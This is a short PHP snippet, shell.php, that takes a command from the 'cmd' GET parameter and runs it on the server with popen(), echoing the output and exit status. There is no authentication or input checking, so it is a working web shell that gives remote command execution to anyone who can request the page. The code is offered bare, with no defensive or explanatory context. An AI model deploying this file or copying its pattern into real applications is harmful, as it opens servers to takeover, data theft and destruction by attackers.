execute commands on a server through GET

shell.php

<pre>

<?php
function doCmd($cmd)
{

    while(@ob_end_flush());

    $proc = popen($cmd." 2>&1 ; echo Exit status : $?", 'r');
    $live_output     = "";
    $complete_output = "";

    while(!feof($proc))
    {
        $output = fread($proc, 4096);
        $full_output = $full_output.$output;
        echo $output;
        @flush();
    }

    pclose($proc);
    preg_match('/[0-9]+$/', $full_output, $matches);

    return array(
                    'exit_status' => intval($matches[0]),
                    'output' => str_replace("Exit status : ".$matches[0], '', $full_output)
        );
}

$cmd = @$_GET['cmd'];
$result = doCmd($cmd);

if($result['exit_status'] === 0)
{
   // do something if command execution succeeds
} else {
    // do something on failure
}
?>